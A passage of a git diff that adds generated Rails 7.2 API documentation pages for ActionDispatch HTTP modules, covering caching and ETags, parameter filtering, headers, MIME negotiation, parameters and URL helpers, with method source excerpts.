+          success &&= not_modified?(response.last_modified) if last_modified
+          success &&= etag_matches?(response.etag) if etag
+          success
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + if_modified_since() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 12
+        def if_modified_since
+          if since = get_header(HTTP_IF_MODIFIED_SINCE)
+            Time.rfc2822(since) rescue nil
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + if_none_match() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 18
+        def if_none_match
+          get_header HTTP_IF_NONE_MATCH
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + if_none_match_etags() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 22
+        def if_none_match_etags
+          if_none_match ? if_none_match.split(",").each(&:strip!) : []
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + not_modified?(modified_at) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 26
+        def not_modified?(modified_at)
+          if_modified_since && modified_at && if_modified_since >= modified_at
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/Cache/Response.html b/src/7.2/classes/ActionDispatch/Http/Cache/Response.html new file mode 100644 index 0000000000..5f1e0e3d1f --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/Cache/Response.html @@ -0,0 +1,623 @@ +--- +title: ActionDispatch::Http::Cache::Response +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DATE="Date"
DEFAULT_CACHE_CONTROL="max-age=0, private, must-revalidate"
LAST_MODIFIED="Last-Modified"
MUST_REVALIDATE="must-revalidate"
NO_CACHE="no-cache"
NO_STORE="no-store"
PRIVATE="private"
PUBLIC="public"
SPECIAL_KEYS=Set.new(%w[extras no-store no-cache max-age public private must-revalidate])
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + cache_control
+ + + + + +

Instance Public methods

+ +
+

+ + date() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 70
+        def date
+          if date_header = get_header(DATE)
+            Time.httpdate(date_header)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + date=(utc_time) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 80
+        def date=(utc_time)
+          set_header DATE, utc_time.httpdate
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + date?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 76
+        def date?
+          has_header? DATE
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + etag=(weak_validators) + +

+ + +
+

This method sets a weak ETag validator on the response so browsers and proxies may cache the response, keyed on the ETag. On subsequent requests, the If-None-Match header is set to the cached ETag. If it matches the current ETag, we can return a 304 Not Modified response with no body, letting the browser or proxy know that their cache is current. Big savings in request time and network bandwidth.

+ +

Weak ETags are considered to be semantically equivalent but not byte-for-byte identical. This is perfect for browser caching of HTML pages where we don’t care about exact equality, just what the user is viewing.

+ +

Strong ETags are considered byte-for-byte identical. They allow a browser or proxy cache to support Range requests, useful for paging through a PDF file or scrubbing through a video. Some CDNs only support strong ETags and will ignore weak ETags entirely.

+ +

Weak ETags are what we almost always need, so they’re the default. Check out

+ +

strong_etag= to provide a strong ETag validator.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 102
+        def etag=(weak_validators)
+          self.weak_etag = weak_validators
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + etag?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 114
+        def etag?; etag; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last_modified() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 56
+        def last_modified
+          if last = get_header(LAST_MODIFIED)
+            Time.httpdate(last)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last_modified=(utc_time) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 66
+        def last_modified=(utc_time)
+          set_header LAST_MODIFIED, utc_time.httpdate
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last_modified?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 62
+        def last_modified?
+          has_header? LAST_MODIFIED
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strong_etag=(strong_validators) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 110
+        def strong_etag=(strong_validators)
+          set_header "ETag", generate_strong_etag(strong_validators)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strong_etag?() + +

+ + +
+

True if an ETag is set, and it isn’t a weak validator (not preceded with W/).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 123
+        def strong_etag?
+          etag? && !weak_etag?
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + weak_etag=(weak_validators) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 106
+        def weak_etag=(weak_validators)
+          set_header "ETag", generate_weak_etag(weak_validators)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + weak_etag?() + +

+ + +
+

True if an ETag is set, and it’s a weak validator (preceded with W/).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 117
+        def weak_etag?
+          etag? && etag.start_with?('W/"')
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/FilterParameters.html b/src/7.2/classes/ActionDispatch/Http/FilterParameters.html new file mode 100644 index 0000000000..4ceb8f065c --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/FilterParameters.html @@ -0,0 +1,416 @@ +--- +title: ActionDispatch::Http::FilterParameters +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch HTTP Filter Parameters

+ +

Allows you to specify sensitive query string and POST parameters to filter from the request log.

+ +
# Replaces values with "[FILTERED]" for keys that match /foo|bar/i.
+env["action_dispatch.parameter_filter"] = [:foo, "bar"]
+
+ +

For more information about filter behavior, see ActiveSupport::ParameterFilter.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/filter_parameters.rb, line 24
+      def initialize
+        super
+        @filtered_parameters = nil
+        @filtered_env        = nil
+        @filtered_path       = nil
+        @parameter_filter    = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + filtered_env() + +

+ + +
+

Returns a hash of request.env with all sensitive data replaced.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/filter_parameters.rb, line 40
+      def filtered_env
+        @filtered_env ||= env_filter.filter(@env)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + filtered_parameters() + +

+ + +
+

Returns a hash of parameters with all sensitive data replaced.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/filter_parameters.rb, line 33
+      def filtered_parameters
+        @filtered_parameters ||= parameter_filter.filter(parameters)
+      rescue ActionDispatch::Http::Parameters::ParseError
+        @filtered_parameters = {}
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + filtered_path() + +

+ + +
+

Reconstructs a path with all sensitive GET parameters replaced.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/filter_parameters.rb, line 45
+      def filtered_path
+        @filtered_path ||= query_string.empty? ? path : "#{path}?#{filtered_query_string}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parameter_filter() + +

+ + +
+

Returns the ActiveSupport::ParameterFilter object used to filter in this request.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/filter_parameters.rb, line 51
+      def parameter_filter
+        @parameter_filter ||= if has_header?("action_dispatch.parameter_filter")
+          parameter_filter_for get_header("action_dispatch.parameter_filter")
+        else
+          NULL_PARAM_FILTER
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + env_filter() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/filter_parameters.rb, line 60
+      def env_filter # :doc:
+        user_key = fetch_header("action_dispatch.parameter_filter") {
+          return NULL_ENV_FILTER
+        }
+        parameter_filter_for(Array(user_key) + ENV_MATCH)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + filtered_query_string() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/filter_parameters.rb, line 71
+      def filtered_query_string # :doc:
+        parts = query_string.split(/([&;])/)
+        filtered_parts = parts.map do |part|
+          if part.include?("=")
+            key, value = part.split("=", 2)
+            parameter_filter.filter(key => value).first.join("=")
+          else
+            part
+          end
+        end
+        filtered_parts.join("")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parameter_filter_for(filters) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/filter_parameters.rb, line 67
+      def parameter_filter_for(filters) # :doc:
+        ActiveSupport::ParameterFilter.new(filters)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/FilterRedirect.html b/src/7.2/classes/ActionDispatch/Http/FilterRedirect.html new file mode 100644 index 0000000000..355af274f8 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/FilterRedirect.html @@ -0,0 +1,54 @@ +--- +title: ActionDispatch::Http::FilterRedirect +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/Headers.html b/src/7.2/classes/ActionDispatch/Http/Headers.html new file mode 100644 index 0000000000..8eafcd4dab --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/Headers.html @@ -0,0 +1,582 @@ +--- +title: ActionDispatch::Http::Headers +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch HTTP Headers

+ +

Provides access to the request’s HTTP headers from the environment.

+ +
env     = { "CONTENT_TYPE" => "text/plain", "HTTP_USER_AGENT" => "curl/7.43.0" }
+headers = ActionDispatch::Http::Headers.from_hash(env)
+headers["Content-Type"] # => "text/plain"
+headers["User-Agent"] # => "curl/7.43.0"
+
+ +

Also note that when headers are mapped to CGI-like variables by the Rack server, both dashes and underscores are converted to underscores. This ambiguity cannot be resolved at this stage anymore. Both underscores and dashes have to be interpreted as if they were originally sent as dashes.

+ +
# GET / HTTP/1.1
+# ...
+# User-Agent: curl/7.43.0
+# X_Custom_Header: token
+
+headers["X_Custom_Header"] # => nil
+headers["X-Custom-Header"] # => "token"
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
CGI_VARIABLES=Set.new(%W[ +AUTH_TYPE +CONTENT_LENGTH +CONTENT_TYPE +GATEWAY_INTERFACE +HTTPS +PATH_INFO +PATH_TRANSLATED +QUERY_STRING +REMOTE_ADDR +REMOTE_HOST +REMOTE_IDENT +REMOTE_USER +REQUEST_METHOD +SCRIPT_NAME +SERVER_NAME +SERVER_PORT +SERVER_PROTOCOL +SERVER_SOFTWARE +]).freeze
HTTP_HEADER=/\A[A-Za-z0-9-]+\z/
+ + + + + + +

Class Public methods

+ +
+

+ + from_hash(hash) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/headers.rb, line 54
+      def self.from_hash(hash)
+        new ActionDispatch::Request.new hash
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + [](key) + +

+ + +
+

Returns the value for the given key mapped to @env.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/headers.rb, line 63
+      def [](key)
+        @req.get_header env_name(key)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + []=(key, value) + +

+ + +
+

Sets the given value for the key mapped to @env.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/headers.rb, line 68
+      def []=(key, value)
+        @req.set_header env_name(key), value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add(key, value) + +

+ + +
+

Add a value to a multivalued header like Vary or Accept-Encoding.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/headers.rb, line 73
+      def add(key, value)
+        @req.add_header env_name(key), value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/headers.rb, line 98
+      def each(&block)
+        @req.each_header(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + env() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/headers.rb, line 118
+      def env; @req.env.dup; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fetch(key, default = DEFAULT) + +

+ + +
+

Returns the value for the given key mapped to @env.

+ +

If the key is not found and an optional code block is not provided, raises a KeyError exception.

+ +

If the code block is provided, then it will be run and its result returned.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/headers.rb, line 90
+      def fetch(key, default = DEFAULT)
+        @req.fetch_header(env_name(key)) do
+          return default unless default == DEFAULT
+          return yield if block_given?
+          raise KeyError, key
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + include?(key) + +

+ + +
+ +
+ + + + + +
+ Alias for: key? +
+ + + + +
+ +
+

+ + key?(key) + +

+ + +
+ +
+ + + +
+ Also aliased as: include? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/headers.rb, line 77
+      def key?(key)
+        @req.has_header? env_name(key)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + merge(headers_or_env) + +

+ + +
+

Returns a new Http::Headers instance containing the contents of headers_or_env and the original instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/headers.rb, line 104
+      def merge(headers_or_env)
+        headers = @req.dup.headers
+        headers.merge!(headers_or_env)
+        headers
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + merge!(headers_or_env) + +

+ + +
+

Adds the contents of headers_or_env to original instance entries; duplicate keys are overwritten with the values from headers_or_env.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/headers.rb, line 112
+      def merge!(headers_or_env)
+        headers_or_env.each do |key, value|
+          @req.set_header env_name(key), value
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/MimeNegotiation.html b/src/7.2/classes/ActionDispatch/Http/MimeNegotiation.html new file mode 100644 index 0000000000..822e1f2645 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/MimeNegotiation.html @@ -0,0 +1,576 @@ +--- +title: ActionDispatch::Http::MimeNegotiation +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + +
BROWSER_LIKE_ACCEPTS=/,\s*\*\/\*|\*\/\*\s*,/
 

We use normal content negotiation unless you include / in your list, in which case we assume you’re a browser and send HTML.

RESCUABLE_MIME_FORMAT_ERRORS=[ +ActionController::BadRequest, +ActionDispatch::Http::Parameters::ParseError, +]
+ + + + + + + +

Instance Public methods

+ +
+

+ + accepts() + +

+ + +
+

Returns the accepted MIME type for the request.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_negotiation.rb, line 42
+      def accepts
+        fetch_header("action_dispatch.request.accepts") do |k|
+          header = get_header("HTTP_ACCEPT").to_s.strip
+
+          v = if header.empty?
+            [content_mime_type]
+          else
+            Mime::Type.parse(header)
+          end
+          set_header k, v
+        rescue ::Mime::Type::InvalidMimeType => e
+          raise InvalidType, e.message
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_mime_type() + +

+ + +
+

The MIME type of the HTTP request, such as Mime.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_negotiation.rb, line 24
+      def content_mime_type
+        fetch_header("action_dispatch.request.content_type") do |k|
+          v = if get_header("CONTENT_TYPE") =~ /^([^,;]*)/
+            Mime::Type.lookup($1.strip.downcase)
+          else
+            nil
+          end
+          set_header k, v
+        rescue ::Mime::Type::InvalidMimeType => e
+          raise InvalidType, e.message
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + format(_view_path = nil) + +

+ + +
+

Returns the MIME type for the format used in the request.

+ +
GET /posts/5.xml   | request.format => Mime[:xml]
+GET /posts/5.xhtml | request.format => Mime[:html]
+GET /posts/5       | request.format => Mime[:html] or Mime[:js], or request.accepts.first
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_negotiation.rb, line 63
+      def format(_view_path = nil)
+        formats.first || Mime::NullType.instance
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + format=(extension) + +

+ + +
+

Sets the format by string extension, which can be used to force custom formats that are not controlled by the extension.

+ +
class ApplicationController < ActionController::Base
+  before_action :adjust_format_for_iphone
+
+  private
+    def adjust_format_for_iphone
+      request.format = :iphone if request.env["HTTP_USER_AGENT"][/iPhone/]
+    end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_negotiation.rb, line 115
+      def format=(extension)
+        parameters[:format] = extension.to_s
+        set_header "action_dispatch.request.formats", [Mime::Type.lookup_by_extension(parameters[:format])]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + formats() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_negotiation.rb, line 67
+      def formats
+        fetch_header("action_dispatch.request.formats") do |k|
+          v = if params_readable?
+            Array(Mime[parameters[:format]])
+          elsif use_accept_header && valid_accept_header
+            accepts.dup
+          elsif extension_format = format_from_path_extension
+            [extension_format]
+          elsif xhr?
+            [Mime[:js]]
+          else
+            [Mime[:html]]
+          end
+
+          v.select! do |format|
+            format.symbol || format.ref == "*/*"
+          end
+
+          set_header k, v
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + formats=(extensions) + +

+ + +
+

Sets the formats by string extensions. This differs from format= by allowing you to set multiple, ordered formats, which is useful when you want to have a fallback.

+ +

In this example, the :iphone format will be used if it’s available, otherwise it’ll fall back to the :html format.

+ +
class ApplicationController < ActionController::Base
+  before_action :adjust_format_for_iphone_with_html_fallback
+
+  private
+    def adjust_format_for_iphone_with_html_fallback
+      request.formats = [ :iphone, :html ] if request.env["HTTP_USER_AGENT"][/iPhone/]
+    end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_negotiation.rb, line 135
+      def formats=(extensions)
+        parameters[:format] = extensions.first.to_s
+        set_header "action_dispatch.request.formats", extensions.collect { |extension|
+          Mime::Type.lookup_by_extension(extension)
+        }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + negotiate_mime(order) + +

+ + +
+

Returns the first MIME type that matches the provided array of MIME types.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_negotiation.rb, line 143
+      def negotiate_mime(order)
+        formats.each do |priority|
+          if priority == Mime::ALL
+            return order.first
+          elsif order.include?(priority)
+            return priority
+          end
+        end
+
+        order.include?(Mime::ALL) ? format : nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + should_apply_vary_header?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_negotiation.rb, line 155
+      def should_apply_vary_header?
+        !params_readable? && use_accept_header && valid_accept_header
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + variant() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_negotiation.rb, line 100
+      def variant
+        @variant ||= ActiveSupport::ArrayInquirer.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + variant=(variant) + +

+ + +
+

Sets the variant for template.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_negotiation.rb, line 90
+      def variant=(variant)
+        variant = Array(variant)
+
+        if variant.all?(Symbol)
+          @variant = ActiveSupport::ArrayInquirer.new(variant)
+        else
+          raise ArgumentError, "request.variant must be set to a Symbol or an Array of Symbols."
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/MimeNegotiation/InvalidType.html b/src/7.2/classes/ActionDispatch/Http/MimeNegotiation/InvalidType.html new file mode 100644 index 0000000000..6f58c56c9a --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/MimeNegotiation/InvalidType.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::Http::MimeNegotiation::InvalidType +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/Parameters.html b/src/7.2/classes/ActionDispatch/Http/Parameters.html new file mode 100644 index 0000000000..f34ed1c2bd --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/Parameters.html @@ -0,0 +1,245 @@ +--- +title: ActionDispatch::Http::Parameters +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
DEFAULT_PARSERS={ +Mime[:json].symbol => -> (raw_post) { +data = ActiveSupport::JSON.decode(raw_post) +data.is_a?(Hash) ? data : { _json: data } +} +}
PARAMETERS_KEY="action_dispatch.request.path_parameters"
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + parameter_parsers

Returns the parameter parsers.

+ + + + + +

Instance Public methods

+ +
+

+ + parameters() + +

+ + +
+

Returns both GET and POST parameters in a single hash.

+
+ + + +
+ Also aliased as: params +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/parameters.rb, line 52
+      def parameters
+        params = get_header("action_dispatch.request.parameters")
+        return params if params
+
+        params = begin
+                   request_parameters.merge(query_parameters)
+                 rescue EOFError
+                   query_parameters.dup
+                 end
+        params.merge!(path_parameters)
+        set_header("action_dispatch.request.parameters", params)
+        params
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + params() + +

+ + +
+ +
+ + + + + +
+ Alias for: parameters +
+ + + + +
+ +
+

+ + path_parameters() + +

+ + +
+

Returns a hash with the parameters used to form the path of the request. Returned hash keys are symbols:

+ +
{ action: "my_action", controller: "my_controller" }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/parameters.rb, line 84
+      def path_parameters
+        get_header(PARAMETERS_KEY) || set_header(PARAMETERS_KEY, {})
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/Parameters/ClassMethods.html b/src/7.2/classes/ActionDispatch/Http/Parameters/ClassMethods.html new file mode 100644 index 0000000000..d87d774282 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/Parameters/ClassMethods.html @@ -0,0 +1,109 @@ +--- +title: ActionDispatch::Http::Parameters::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + parameter_parsers=(parsers) + +

+ + +
+

Configure the parameter parser for a given MIME type.

+ +

It accepts a hash where the key is the symbol of the MIME type and the value is a proc.

+ +
original_parsers = ActionDispatch::Request.parameter_parsers
+xml_parser = -> (raw_post) { Hash.from_xml(raw_post) || {} }
+new_parsers = original_parsers.merge(xml: xml_parser)
+ActionDispatch::Request.parameter_parsers = new_parsers
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/parameters.rb, line 46
+        def parameter_parsers=(parsers)
+          @parameter_parsers = parsers.transform_keys { |key| key.respond_to?(:symbol) ? key.symbol : key }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/Parameters/ParseError.html b/src/7.2/classes/ActionDispatch/Http/Parameters/ParseError.html new file mode 100644 index 0000000000..bc578dfeb4 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/Parameters/ParseError.html @@ -0,0 +1,113 @@ +--- +title: ActionDispatch::Http::Parameters::ParseError +layout: default +--- +
+ +
+
+ +
+ +

Raised when raw data from the request cannot be parsed by the parser defined for request’s content MIME type.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(message = $!.message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/parameters.rb, line 22
+        def initialize(message = $!.message)
+          super(message)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/URL.html b/src/7.2/classes/ActionDispatch/Http/URL.html new file mode 100644 index 0000000000..b05066b03e --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/URL.html @@ -0,0 +1,1041 @@ +--- +title: ActionDispatch::Http::URL +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + +
HOST_REGEXP=/(^[^:]+:\/\/)?(\[[^\]]+\]|[^:]+)(?::(\d+$))?/
IP_HOST_REGEXP=/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
PROTOCOL_REGEXP=/^([^:]+)(:)?(\/\/)?$/
+ + + + + + +

Class Public methods

+ +
+

+ + extract_domain(host, tld_length) + +

+ + +
+

Returns the domain part of a host given the domain level.

+ +
# Top-level domain example
+extract_domain('www.example.com', 1) # => "example.com"
+# Second-level domain example
+extract_domain('dev.www.example.co.uk', 2) # => "example.co.uk"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 24
+        def extract_domain(host, tld_length)
+          extract_domain_from(host, tld_length) if named_host?(host)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extract_subdomain(host, tld_length) + +

+ + +
+

Returns the subdomains of a host as a String given the domain level.

+ +
# Top-level domain example
+extract_subdomain('www.example.com', 1) # => "www"
+# Second-level domain example
+extract_subdomain('dev.www.example.co.uk', 2) # => "dev.www"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 48
+        def extract_subdomain(host, tld_length)
+          extract_subdomains(host, tld_length).join(".")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extract_subdomains(host, tld_length) + +

+ + +
+

Returns the subdomains of a host as an Array given the domain level.

+ +
# Top-level domain example
+extract_subdomains('www.example.com', 1) # => ["www"]
+# Second-level domain example
+extract_subdomains('dev.www.example.co.uk', 2) # => ["dev", "www"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/url.rb, line 34
+        def extract_subdomains(host, tld_length)
+          if named_host?(host)
+            extract_subdomains_from(host, tld_length)
+          else
+            []
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + full_url_for(options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
